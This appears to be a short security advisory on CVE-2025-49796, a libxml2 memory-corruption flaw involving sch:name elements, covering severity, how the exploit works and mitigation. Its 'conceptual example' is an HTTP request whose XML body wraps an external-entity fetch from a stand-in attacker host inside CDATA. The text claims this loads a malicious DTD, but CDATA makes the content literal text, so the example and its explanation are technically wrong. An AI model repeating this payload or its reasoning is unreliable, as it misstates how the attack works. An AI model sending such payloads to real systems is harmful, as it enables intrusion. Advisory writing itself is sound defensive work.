Overview
The Common Vulnerabilities and Exposures (CVE) system has recently identified a severe vulnerability, dubbed CVE-2025-49796, which threatens the integrity and stability of systems utilizing libxml2. This popular XML parsing library is used in a wide range of applications, from web browsers and servers to firmware in IoT devices, making the potential impact of this vulnerability vast and far-reaching. The vulnerability arises from the mishandling of certain sch:name elements, leading to memory corruption and consequently, a potential system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-49796
Severity: Critical (CVSS 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service (DoS) attack, potential system compromise or data leakage
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Product | Affected Versions
libxml2 | All versions prior to patch
How the Exploit Works
The vulnerability in question is triggered when processing certain sch:name elements from an XML input file. An attacker can craft a malicious XML input file that, when processed by libxml2, triggers a memory corruption issue. This corruption can lead to a system crash, resulting in a denial of service. More concerning, however, is the potential for undefined behavior due to sensitive data being corrupted in memory. This could potentially allow an attacker to access or modify sensitive data, leading to system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that sends a malicious XML file to a vulnerable endpoint:
POST /xmlprocessor/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<sch:name><![CDATA[<!ENTITY x SYSTEM "http://attacker.example.com/malicious.dtd">]]>
</sch:name>
</root>In this example, the sch:name element contains malicious payload that fetches a Document Type Definition (DTD) file from the attacker’s server. This DTD file can contain instructions that trigger the memory corruption issue in libxml2.
Mitigation
The best way to mitigate this vulnerability is by applying the vendor patch once it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to minimize the risk by blocking or alerting on suspicious XML input. It is also recommended to limit the exposure of systems using libxml2 to untrusted networks where possible.